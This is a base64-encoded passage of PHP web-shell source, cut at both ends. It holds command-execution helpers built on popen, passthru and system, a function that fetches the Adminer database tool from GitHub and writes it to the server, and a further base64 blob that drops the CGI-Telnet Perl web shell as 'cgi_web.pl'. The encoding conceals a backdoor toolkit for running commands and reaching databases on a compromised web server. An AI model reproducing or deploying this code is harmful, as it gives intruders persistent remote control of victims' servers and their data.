CAgICAgICB3aGlsZSghZmVvZigkcnVuKSl7DQogICAgICAgICAgICAgICAgJGJ1ZmZlciA9IGZnZXRzKCRydW4sNDA5Nik7DQogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAiLT4gJGJ1ZmZlclxyXG4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcGNsb3NlKCRydW4pOw0KICAgICAgICAgICAgcmV0dXJuICdwb3BlbnwnLnRyaW0oJHJlc3VsdCk7DQogICAgICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCJwYXNzdGhydSIpKXsNCiAgICAgICAgICAgIHBhc3N0aHJ1KCRjbWQpOw0KICAgICAgICAgICAgJGNvbnRlbnQgICAgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgICAgIHJldHVybiAncGFzc3RocnV8Jy50cmltKCRjb250ZW50KTsNCiAgICAgICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoInN5c3RlbSIpKXsNCiAgICAgICAgICAgIHN5c3RlbSgkY21kKTsNCiAgICAgICAgICAgICRjb250ZW50ICAgID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICByZXR1cm4gJ3N5c3RlbXwnLnRyaW0oJGNvbnRlbnQpOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0Q2xpZW50SVAoKSB7ICANCiAgICAgICAgIGlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXSkpIHsgIA0KICAgICAgICAgICAgJGlwID0gJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ107ICANCiAgICAgICAgfSBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSkpIHsgIA0KICAgICAgICAgICAgJGlwID0gJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ107ICANCiAgICAgICAgfSBlbHNleyAgDQogICAgICAgICAgICAkaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsgIA0KICAgICAgICB9ICANCiAgICAgICAgcmV0dXJuICRpcDsgIA0KICAgIH0gDQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0X2FkbWluZXIoKXsNCiAgICAgICAgLy8gaHR0cHM6Ly9naXRodWIuY29tL3ZyYW5hL2FkbWluZXIvcmVsZWFzZXMvZG93bmxvYWQvdjQuOC4xL2FkbWluZXItNC44LjEtZW4ucGhwDQogICAgICAgICRuYW1lICAgPSAnYWRtaW5lci13ZWIucGhwJzsNCg0KICAgICAgICBpZihmaWxlX2V4aXN0cygkbmFtZSkpew0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgJGN1cmwgPSBjdXJsX2luaXQoKTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjdXJsLGFycmF5KENVUkxPUFRfUkVUVVJOVFJBTlNGRVIgPT4gMSxDVVJMT1BUX1VSTCA9PiAnaHR0cHM6Ly9naXRodWIuY29tL3ZyYW5hL2FkbWluZXIvcmVsZWFzZXMvZG93bmxvYWQvdjQuOC4xL2FkbWluZXItNC44LjEtZW4ucGhwJyxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IDEsQ1VSTE9QVF9USU1FT1VUID0+IDIwKSk7DQogICAgICAgICAgICAkb3V0cHV0ID0gY3VybF9leGVjKCRjdXJsKTsNCiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGN1cmwpOw0KICAgIA0KICAgICAgICAgICAgaWYoQGZpbGVfcHV0X2NvbnRlbnRzKCRuYW1lLCRvdXRwdXQpKXsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldF9jZ2l0ZWxuZXQoKXsNCiAgICAgICAgJG5hbWUgCSAgICAgICA9ICdjZ2lfd2ViLnBsJzsNCgkJJGNnaVRlbG5ldENvZGUgPSBiYXNlNjRfZGVjb2RlKCdJeUV2ZFhOeUwySnBiaTl3WlhKc0NpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QkRiM0I1Y21sbmFIUWdZVzVrSUV4cFkyVnVZMlVLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUVOSFNTMVVaV3h1WlhRZ1ZtVnljMmx2YmlBeExqQWdabTl5SUU1VUlHRnVaQ0JWYm1sNElEb2dVblZ1SUVOdmJXMWhibVJ6SUc5dUlIbHZkWElnVjJWaUlGTmxjblpsY2dvakNpTWdRMjl3ZVhKcFoyaDBJQ2hES1NBeU1EQXhJRkp2YUdsMFlXSWdRbUYwY21FS0l5QlFaWEp0YVhOemFXOXVJR2x6SUdkeVlXNTBaV1FnZEc4Z2RYTmxMQ0JrYVhOMGNtbGlkWFJsSUdGdVpDQnRiMlJwWm5rZ2RHaHBjeUJ6WTNKcGNIUWdjMjhnYkc5dVp3b2pJR0Z6SUhSb2FYTWdZMjl3ZVhKcFoyaDBJRzV2ZEdsalpTQnBjeUJzWldaMElHbHVkR0ZqZEM0Z1NXWWdlVzkxSUcxaGEyVWdZMmhoYm1kbGN5QjBieUIwYUdVZ2MyTnlhWEIwQ2lNZ2NHeGxZWE5sSUdSdlkzVnRaVzUwSUhSb1pXMGdZVzVrSUdsdVptOXliU0J0WlM0Z1NXWWdlVzkxSUhkdmRXeGtJR3hwYTJVZ1lXNTVJR05vWVc1blpYTWdkRzhnWW1VZ2JXRmtaUW9qSUdsdUlIUm9hWE1nYzJOeWFYQjBMQ0I1YjNVZ1kyRnVJR1V0YldGcGJDQnRaUzRLSXdvaklFRjFkR2h2Y2pvZ1VtOW9hWFJoWWlCQ1lYUnlZUW9qSUVGMWRHaHZjaUJsTFcxaGFXdzZJSEp2YUdsMFlXSkFjbTlvYVhSaFlpNWpiMjBLSXlCQmRYUm9iM0lnU0c5dFpYQmhaMlU2SUdoMGRIQTZMeTkzZDNjdWNtOW9hWFJoWWk1amIyMHZDaU1nVTJOeWFYQjBJRWh2YldWd1lXZGxPaUJvZEhSd09pOHZkM2QzTG5KdmFHbDBZV0l1WTI5dEwyTm5hWE5qY21sd2RITXZZMmRwZEdWc2JtVjBMbWgwYld3S0l5QlFjbTlrZFdOMElGTjFjSEJ2Y25RNklHaDBkSEE2THk5M2QzY3VjbTlvYVhSaFlpNWpiMjB2YzNWd2NHOXlkQzhLSXlCRWFYTmpkWE56YVc5dUlFWnZjblZ0T2lCb2RIUndPaTh2ZDNkM0xuSnZhR2wwWVdJdVkyOXRMMlJwYzJOMWMzTXZDaU1nVFdGcGJHbHVaeUJNYVhOME9pQm9kSFJ3T2k4dmQzZDNMbkp2YUdsMFlXSXVZMjl0TDIxc2FYTjBMd29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nU1c1emRHRnNiR0YwYVc5dUNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QlVieUJwYm5OMFlXeHNJSFJvYVhNZ2MyTnlhWEIwQ2lNS0l5QXhMaUJOYjJScFpua2dkR2hsSUdacGNuTjBJR3hwYm1VZ0lpTWhMM1Z6Y2k5aWFXNHZjR1Z5YkNJZ2RHOGdjRzlwYm5RZ2RHOGdkR2hsSUdOdmNuSmxZM1FnY0dGMGFDQnZiZ29qSUNBZ0lIbHZkWElnYzJWeWRtVnlMaUJHYjNJZ2JXOXpkQ0J6WlhKMlpYSnpMQ0I1YjNVZ2JXRjVJRzV2ZENCdVpXVmtJSFJ2SUcxdlpHbG1lU0IwYUdsekxnb2pJREl1SUVOb1lXNW5aU0IwYUdVZ2NHRnpjM2R2Y21RZ2FXNGdkR2hsSUVOdmJtWnBaM1Z5WVhScGIyNGdjMlZqZEdsdmJpQmlaV3h2ZHk0S0l5QXpMaUJKWmlCNWIzVW5jbVVnY25WdWJtbHVaeUIwYUdVZ2MyTnlhWEIwSUhWdVpHVnlJRmRwYm1SdmQzTWdUbFFzSUhObGRDQWtWMmx1VGxRZ1BTQXhJR2x1SUhSb1pRb2pJQ0FnSUVOdmJtWnBaM1Z5WVhScGIyNGdVMlZqZEdsdmJpQmlaV3h2ZHk0S0l5QTBMaUJWY0d4dllXUWdkR2hsSUhOamNtbHdkQ0IwYnlCaElHUnBjbVZqZEc5eWVTQnZiaUI1YjNWeUlITmxjblpsY2lCM2FHbGphQ0JvWVhNZ2NHVnliV2x6YzJsdmJuTWdkRzhLSXlBZ0lDQmxlR1ZqZFhSbElFTkhTU0J6WTNKcGNIUnpMaUJVYUdseklHbHpJSFZ6ZFdGc2JIa2dZMmRwTFdKcGJpNGdUV0ZyWlNCemRYSmxJSFJvWVhRZ2VXOTFJSFZ3Ykc5aFpBb2pJQ0FnSUhSb1pTQnpZM0pwY0hRZ2FXNGdRVk5EU1VrZ2JXOWtaUzRLSXlBMUxpQkRhR0Z1WjJVZ2RHaGxJSEJsY20xcGMzTnBiMjRnS0VOSVRVOUVLU0J2WmlCMGFHVWdjMk55YVhCMElIUnZJRGMxTlM0S0l5QTJMaUJQY0dWdUlIUm9aU0J6WTNKcGNIUWdhVzRnZVc5MWNpQjNaV0lnWW5KdmQzTmxjaTRnU1dZZ2VXOTFJSFZ3Ykc5aFpHVmtJSFJvWlNCelkzSnBjSFFnYVc0S0l5QWdJQ0JqWjJrdFltbHVMQ0IwYUdseklITm9iM1ZzWkNCaVpTQm9kSFJ3T2k4dmQzZDNMbmx2ZFhKelpYSjJaWEl1WTI5dEwyTm5hUzFpYVc0dlkyZHBkR1ZzYm1WMExuQnNDaU1nTnk0Z1RHOW5hVzRnZFhOcGJtY2dkR2hsSUhCaGMzTjNiM0prSUhSb1lYUWdlVzkxSUhOd1pXTnBabWxsWkNCcGJpQlRkR1Z3SURJdUNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0NpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QkRiMjVtYVdkMWNtRjBhVzl1T2lCWmIzVWdibVZsWkNCMGJ5QmphR0Z1WjJVZ2IyNXNlU0FrVUdGemMzZHZjbVFnWVc1a0lDUlhhVzVPVkM0Z1ZHaGxJRzkwYUdWeUNpTWdkbUZzZFdWeklITm9iM1ZzWkNCM2IzSnJJR1pwYm1VZ1ptOXlJRzF2YzNRZ2MzbHpkR1Z0Y3k0S0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFva1VHRnpjM2R2Y21RZ1BTQWliWGR6SWpzSkNTTWdRMmhoYm1kbElIUm9hWE11SUZsdmRTQjNhV3hzSUc1bFpXUWdkRzhnWlc1MFpYSWdkR2hwY3dvSkNRa0pJeUIwYnlCc2IyZHBiaTRLQ2lSWGFXNU9WQ0E5SURBN0NRa0pJeUJaYjNVZ2JtVmxaQ0IwYnlCamFHRnVaMlVnZEdobElIWmhiSFZsSUc5bUlIUm9hWE1nZEc4Z01TQnBaZ29KQ1FrSkl5QjViM1VuY21VZ2NuVnVibWx1WnlCMGFHbHpJSE5qY21sd2RDQnZiaUJoSUZkcGJtUnZkM01nVGxRS0NRa0pDU01nYldGamFHbHVaUzRnU1dZZ2VXOTFKM0psSUhKMWJtNXBibWNnYVhRZ2IyNGdWVzVwZUN3Z2VXOTFDZ2tKQ1FraklHTmhiaUJzWldGMlpTQjBhR1VnZG1Gc2RXVWdZWE1nYVhRZ2FYTXVDZ29rVGxSRGJXUlRaWEFnUFNBaUppSTdDUWtqSUZSb2FYTWdZMmhoY21GamRHVnlJR2x6SUhWelpXUWdkRzhnYzJWd1pYSmhkR1VnTWlCamIyMXRZVzVrY3dvSkNRa0pJeUJwYmlCaElHTnZiVzFoYm1RZ2JHbHVaU0J2YmlCWGFXNWtiM2R6SUU1VUxnb0tKRlZ1YVhoRGJXUlRaWEFnUFNBaU95STdDUWtqSUZSb2FYTWdZMmhoY21GamRHVnlJR2x6SUhWelpXUWdkRzhnYzJWd1pYSmhkR1VnTWlCamIyMXRZVzVrY3dvSkNRa0pJeUJwYmlCaElHTnZiVzFoYm1RZ2JHbHVaU0J2YmlCVmJtbDRMZ29LSkVOdmJXMWhibVJVYVcxbGIzVjBSSFZ5WVhScGIyNGdQU0F4TURzSkl5QlVhVzFsSUdsdUlITmxZMjl1WkhNZ1lXWjBaWElnWTI5dGJXRnVaSE1nZDJsc2JDQmlaU0JyYVd4c1pXUUtDUWtKQ1NNZ1JHOXVKM1FnYzJWMElIUm9hWE1nZEc4Z1lTQjJaWEo1SUd4aGNtZGxJSFpoYkhWbExpQlVhR2x6SUdsekNna0pDUWtqSUhWelpXWjFiQ0JtYjNJZ1kyOXRiV0Z1WkhNZ2RHaGhkQ0J0WVhrZ2FHRnVaeUJ2Y2lCMGFHRjBDZ2tKQ1FraklIUmhhMlVnZG1WeWVTQnNiMjVuSUhSdklHVjRaV04xZEdVc0lHeHBhMlVnSW1acGJtUWdMeUl1Q2drSkNRa2pJRlJvYVhNZ2FYTWdkbUZzYVdRZ2IyNXNlU0J2YmlCVmJtbDRJSE5sY25abGNuTXVJRWwwSUdsekNna0pDUWtqSUdsbmJtOXlaV1FnYjI0Z1RsUWdVMlZ5ZG1WeWN5NEtDaVJUYUc5M1JIbHVZVzFwWTA5MWRIQjFkQ0E5SURFN0NRa2pJRWxtSUhSb2FYTWdhWE1nTVN3Z2RHaGxiaUJrWVhSaElHbHpJSE5sYm5RZ2RHOGdkR2hsQ2drSkNRa2pJR0p5YjNkelpYSWdZWE1nYzI5dmJpQmhjeUJwZENCcGN5QnZkWFJ3ZFhRc0lHOTBhR1Z5ZDJselpRb0pDUWtKSXlCcGRDQnBjeUJpZFdabVpYSmxaQ0JoYm1RZ2MyVnVaQ0IzYUdWdUlIUm9aU0JqYjIxdFlXNWtDZ2tKQ1FraklHTnZiWEJzWlhSbGN5NGdWR2hwY3lCcGN5QjFjMlZtZFd3Z1ptOXlJR052YlcxaGJtUnpJR3hwYTJVS0NRa0pDU01nY0dsdVp5d2djMjhnZEdoaGRDQjViM1VnWTJGdUlITmxaU0IwYUdVZ2IzVjBjSFYwSUdGeklHbDBDZ2tKQ1FraklHbHpJR0psYVc1bklHZGxibVZ5WVhSbFpDNEtDaU1nUkU5T0oxUWdRMGhCVGtkRklFRk9XVlJJU1U1SElFSkZURTlYSUZSSVNWTWdURWxPUlNCVlRreEZVMU1nV1U5VklFdE9UMWNnVjBoQlZDQlpUMVVuVWtVZ1JFOUpUa2NnSVNFS0NpUkRiV1JUWlhBZ1BTQW9KRmRwYms1VUlEOGdKRTVVUTIxa1UyVndJRG9nSkZWdWFYaERiV1JUWlhBcE93b2tRMjFrVUhka0lEMGdLQ1JYYVc1T1ZDQS9JQ0pqWkNJZ09pQWljSGRrSWlrN0NpUlFZWFJvVTJWd0lEMGdLQ1JYYVc1T1ZDQS9JQ0pjWENJZ09pQWlMeUlwT3dva1VtVmthWEpsWTNSdmNpQTlJQ2drVjJsdVRsUWdQeUFpSURJK0pqRWdNVDRtTWlJZ09pQWlJREUrSmpFZ01qNG1NU0lwT3dvS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFvaklGSmxZV1J6SUhSb1pTQnBibkIxZENCelpXNTBJR0o1SUhSb1pTQmljbTkzYzJWeUlHRnVaQ0J3WVhKelpYTWdkR2hsSUdsdWNIVjBJSFpoY21saFlteGxjeTRnU1hRS0l5QndZWEp6WlhNZ1IwVlVMQ0JRVDFOVUlHRnVaQ0J0ZFd4MGFYQmhjblF2Wm05eWJTMWtZWFJoSUhSb1lYUWdhWE1nZFhObFpDQm1iM0lnZFhCc2IyRmthVzVuSUdacGJHVnpMZ29qSUZSb1pTQm1hV3hsYm1GdFpTQnBjeUJ6ZEc5eVpXUWdhVzRnSkdsdWV5ZG1KMzBnWVc1a0lIUm9aU0JrWVhSaElHbHpJSE4wYjNKbFpDQnBiaUFrYVc1N0oyWnBiR1ZrWVhSaEozMHVDaU1nVDNSb1pYSWdkbUZ5YVdGaWJHVnpJR05oYmlCaVpTQmhZMk5sYzNObFpDQjFjMmx1WnlBa2FXNTdKM1poY2lkOUxDQjNhR1Z5WlNCMllYSWdhWE1nZEdobElHNWhiV1VnYjJZS0l5QjBhR1VnZG1GeWFXRmliR1V1SUU1dmRHVTZJRTF2YzNRZ2IyWWdkR2hsSUdOdlpHVWdhVzRnZEdocGN5Qm1kVzVqZEdsdmJpQnBjeUIwWVd0bGJpQm1jbTl0SUc5MGFHVnlJRU5IU1FvaklITmpjbWx3ZEhNdUNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS2MzVmlJRkpsWVdSUVlYSnpaU0FLZXdvSmJHOWpZV3dnS0NwcGJpa2dQU0JBWHlCcFppQkFYenNLQ1d4dlkyRnNJQ2drYVN3Z0pHeHZZeXdnSkd0bGVTd2dKSFpoYkNrN0Nna0tDU1JOZFd4MGFYQmhjblJHYjNKdFJHRjBZU0E5SUNSRlRsWjdKME5QVGxSRlRsUmZWRmxRUlNkOUlEMStJQzl0ZFd4MGFYQmhjblJjTDJadmNtMHRaR0YwWVRzZ1ltOTFibVJoY25rOUtDNHJLU1F2T3dvS0NXbG1LQ1JGVGxaN0oxSkZVVlZGVTFSZlRVVlVTRTlFSjMwZ1pYRWdJa2RGVkNJcENnbDdDZ2tKSkdsdUlEMGdKRVZPVm5zblVWVkZVbGxmVTFSU1NVNUhKMzA3Q2dsOUNnbGxiSE5wWmlna1JVNVdleWRTUlZGVlJWTlVYMDFGVkVoUFJDZDlJR1Z4SUNKUVQxTlVJaWtLQ1hzS0NRbGlhVzV0YjJSbEtGTlVSRWxPS1NCcFppQWtUWFZzZEdsd1lYSjBSbTl5YlVSaGRHRWdKaUFrVjJsdVRsUTdDZ2tKY21WaFpDaFRWRVJKVGl3Z0pHbHVMQ0FrUlU1V2V5ZERUMDVVUlU1VVgweEZUa2RVU0NkOUtUc0tDWDBLQ2draklHaGhibVJzWlNCbWFXeGxJSFZ3Ykc5aFpDQmtZWFJoQ2dscFppZ2tSVTVXZXlkRFQwNVVSVTVVWDFSWlVFVW5mU0E5ZmlBdmJYVnNkR2x3WVhKMFhDOW1iM0p0TFdSaGRHRTdJR0p2ZFc1a1lYSjVQU2d1S3lra0x5a0tDWHNLQ1Fra1FtOTFibVJoY25rZ1BTQW5MUzBuTGlReE95QWpJSEJzWldGelpTQnlaV1psY2lCMGJ5QlNSa014T0RZM0lBb0pDVUJzYVhOMElEMGdjM0JzYVhRb0x5UkNiM1Z1WkdGeWVTOHNJQ1JwYmlrN0lBb0pDU1JJWldGa1pYSkNiMlI1SUQwZ0pHeHBjM1JiTVYwN0Nna0pKRWhsWVdSbGNrSnZaSGtnUFg0Z0wxeHlYRzVjY2x4dWZGeHVYRzR2T3dvSkNTUklaV0ZrWlhJZ1BTQWtZRHNLQ1Fra1FtOWtlU0E5SUNRbk93b2dDUWtrUW05a2VTQTlmaUJ6TDF4eVhHNGtMeTg3SUNNZ2RHaGxJR3hoYzNRZ1hISmNiaUIzWVhNZ2NIVjBJR2x1SUdKNUlFNWxkSE5qWVhCbENna0pKR2x1ZXlkbWFXeGxaR0YwWVNkOUlEMGdKRUp2WkhrN0Nna0pKRWhsWVdSbGNpQTlmaUF2Wm1sc1pXNWhiV1U5WENJb0xpc3BYQ0l2T3lBS0NRa2thVzU3SjJZbmZTQTlJQ1F4T3lBS0NRa2thVzU3SjJZbmZTQTlmaUJ6TDF3aUx5OW5Pd29KQ1NScGJuc25aaWQ5SUQxK0lITXZYSE12TDJjN0Nnb0pDU01nY0dGeWMyVWdkSEpoYVd4bGNnb0pDV1p2Y2lna2FUMHlPeUFrYkdsemRGc2thVjA3SUNScEt5c3BDZ2tKZXlBS0NRa0pKR3hwYzNSYkpHbGRJRDErSUhNdlhpNHJibUZ0WlQwa0x5ODdDZ2tKQ1NSc2FYTjBXeVJwWFNBOWZpQXZYQ0lvWEhjcktWd2lMenNLQ1FrSkpHdGxlU0E5SUNReE93b0pDUWtrZG1Gc0lEMGdKQ2M3Q2drSkNTUjJZV3dnUFg0Z2N5OG9YaWhjY2x4dVhISmNibnhjYmx4dUtTbDhLRnh5WEc0a2ZGeHVKQ2t2TDJjN0Nna0pDU1IyWVd3Z1BYNGdjeThsS0M0dUtTOXdZV05yS0NKaklpd2dhR1Y0S0NReEtTa3ZaMlU3Q2drSkNTUnBibnNrYTJWNWZTQTlJQ1IyWVd3N0lBb0pDWDBLQ1gwS0NXVnNjMlVnSXlCemRHRnVaR0Z5WkNCd2IzTjBJR1JoZEdFZ0tIVnliQ0JsYm1OdlpHVmtMQ0J1YjNRZ2JYVnNkR2x3WVhKMEtRb0pld29KQ1VCcGJpQTlJSE53YkdsMEtDOG1MeXdnSkdsdUtUc0tDUWxtYjNKbFlXTm9JQ1JwSUNnd0lDNHVJQ1FqYVc0cENna0pld29KQ1Fra2FXNWJKR2xkSUQxK0lITXZYQ3N2SUM5bk93b0pDUWtvSkd0bGVTd2dKSFpoYkNrZ1BTQnpjR3hwZENndlBTOHNJQ1JwYmxza2FWMHNJRElwT3dvSkNRa2thMlY1SUQxK0lITXZKU2d1TGlrdmNHRmpheWdpWXlJc0lHaGxlQ2drTVNrcEwyZGxPd29KQ1Fra2RtRnNJRDErSUhNdkpTZ3VMaWt2Y0dGamF5Z2lZeUlzSUdobGVDZ2tNU2twTDJkbE93b0pDUWtrYVc1N0pHdGxlWDBnTGowZ0lsd3dJaUJwWmlBb1pHVm1hVzVsWkNna2FXNTdKR3RsZVgwcEtUc0tDUWtKSkdsdWV5UnJaWGw5SUM0OUlDUjJZV3c3Q2drSmZRb0pmUXA5Q2dvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ1VISnBiblJ6SUhSb1pTQklWRTFNSUZCaFoyVWdTR1ZoWkdWeUNpTWdRWEpuZFcxbGJuUWdNVG9nUm05eWJTQnBkR1Z0SUc1aGJXVWdkRzhnZDJocFkyZ2dabTlqZFhNZ2MyaHZkV3hrSUdKbElITmxkQW9qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDbk4xWWlCUWNtbHVkRkJoWjJWSVpXRmtaWElLZXdvSkpFVnVZMjlrWldSRGRYSnlaVzUwUkdseUlEMGdKRU4xY25KbGJuUkVhWEk3Q2dra1JXNWpiMlJsWkVOMWNuSmxiblJFYVhJZ1BYNGdjeThvVzE1aExYcEJMVm93TFRsZEtTOG5KU2N1ZFc1d1lXTnJLQ0pJS2lJc0pERXBMMlZuT3dvSmNISnBiblFnSWtOdmJuUmxiblF0ZEhsd1pUb2dkR1Y0ZEM5b2RHMXNYRzVjYmlJN0NnbHdjbWx1ZENBOFBFVk9SRHNLUENGRVQwTlVXVkJGSUVoVVRVd2dVRlZDVEVsRElDSXRMeTlYTTBNdkwwUlVSQ0JJVkUxTUlEUXVNREV2TDBWT0lpQWlhSFIwY0RvdkwzZDNkeTUzTXk1dmNtY3ZWRkl2YUhSdGJEUXZjM1J5YVdOMExtUjBaQ0krQ2p4b2RHMXNQZ284YUdWaFpENEtQSFJwZEd4bFBrTkhTUzFVWld4dVpYUWdWbVZ5YzJsdmJpQXhMakE4TDNScGRHeGxQZ29rU0hSdGJFMWxkR0ZJWldGa1pYSUtQQzlvWldGa1BnbzhZbTlrZVNCdmJreHZZV1E5SW1SdlkzVnRaVzUwTG1ZdVFGOHVabTlqZFhNb0tTSWdZbWRqYjJ4dmNqMGlJekF3TURBd01DSWdkRzl3YldGeVoybHVQU0l3SWlCc1pXWjBiV0Z5WjJsdVBTSXdJaUJ0WVhKbmFXNTNhV1IwYUQwaU1DSWdiV0Z5WjJsdWFHVnBaMmgwUFNJd0lqNEtQSFJoWW14bElHSnZjbVJsY2owaU1TSWdkMmxrZEdnOUlqRXdNQ1VpSUdObGJHeHpjR0ZqYVc1blBTSXdJaUJqWld4c2NHRmtaR2x1WnowaU1pSStDangwY2o0S1BIUmtJR0puWTI5c2IzSTlJaU5ETWtKR1FUVWlJR0p2Y21SbGNtTnZiRzl5UFNJak1EQXdNRGd3SWlCaGJHbG5iajBpWTJWdWRHVnlJajRLUEdJK1BHWnZiblFnWTI5c2IzSTlJaU13TURBd09EQWlJSE5wZW1VOUlqSWlQaU04TDJadmJuUStQQzlpUGp3dmRHUStDangwWkNCaVoyTnZiRzl5UFNJak1EQXdNRGd3SWo0OFptOXVkQ0JtWVdObFBTSldaWEprWVc1aElpQnphWHBsUFNJeUlpQmpiMnh2Y2owaUkwWkdSa1pHUmlJK1BHSStRMGRKTFZSbGJHNWxkQ0JXWlhKemFXOXVJREV1TUNBdElFTnZibTVsWTNSbFpDQjBieUFrVTJWeWRtVnlUbUZ0WlR3dllqNDhMMlp2Ym5RK1BDOTBaRDRLUEM5MGNqNEtQSFJ5UGdvOGRHUWdZMjlzYzNCaGJqMGlNaUlnWW1kamIyeHZjajBpSTBNeVFrWkJOU0krUEdadmJuUWdabUZqWlQwaVZtVnlaR0Z1WVNJZ2MybDZaVDBpTWlJK0NqeGhJR2h5WldZOUlpUlRZM0pwY0hSTWIyTmhkR2x2Ymo5aFBYVndiRzloWkNaa1BTUkZibU52WkdWa1EzVnljbVZ1ZEVScGNpSStWWEJzYjJGa0lFWnBiR1U4TDJFK0lId2dDanhoSUdoeVpXWTlJaVJUWTNKcGNIUk1iMk5oZEdsdmJqOWhQV1J2ZDI1c2IyRmtKbVE5SkVWdVkyOWtaV1JEZFhKeVpXNTBSR2x5SWo1RWIzZHViRzloWkNCR2FXeGxQQzloUGlCOENqeGhJR2h5WldZOUlpUlRZM0pwY0hSTWIyTmhkR2x2Ymo5aFBXeHZaMjkxZENJK1JHbHpZMjl1Ym1WamREd3ZZVDRnZkFvOFlTQm9jbVZtUFNKb2RIUndPaTh2ZDNkM0xuSnZhR2wwWVdJdVkyOXRMMk5uYVhOamNtbHdkSE12WTJkcGRHVnNibVYwTG1oMGJXd2lQa2hsYkhBOEwyRStDand2Wm05dWRENDhMM1JrUGdvOEwzUnlQZ284TDNSaFlteGxQZ284Wm05dWRDQmpiMnh2Y2owaUkwTXdRekJETUNJZ2MybDZaVDBpTXlJK0NrVk9SQXA5Q2dvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ1VISnBiblJ6SUhSb1pTQk1iMmRwYmlCVFkzSmxaVzRLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUXB6ZFdJZ1VISnBiblJNYjJkcGJsTmpjbVZsYmdwN0Nna2tUV1Z6YzJGblpTQTlJSEVrUEhCeVpUNDhabTl1ZENCamIyeHZjajBpSXpZMk9UazVPU